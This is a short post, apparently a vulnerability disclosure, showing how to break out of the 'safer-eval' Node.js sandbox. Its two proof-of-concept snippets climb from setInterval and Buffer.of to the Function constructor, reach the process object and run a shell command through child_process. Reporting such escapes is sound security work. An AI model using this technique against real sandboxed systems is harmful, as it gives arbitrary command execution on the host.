Sandbox Escape

[a0xnirudh]

The following can be used to break out of the sandbox:

var saferEval = require("safer-eval");
var code = "setInterval.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString();";
console.log(saferEval(code));

Other than setInterval, one can also use clearInterval, clearTimeout and setTimeout

[a0xnirudh]

Using Buffer:

var saferEval = require("safer-eval");
var code = "Buffer.of.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString();";
console.log(saferEval(code));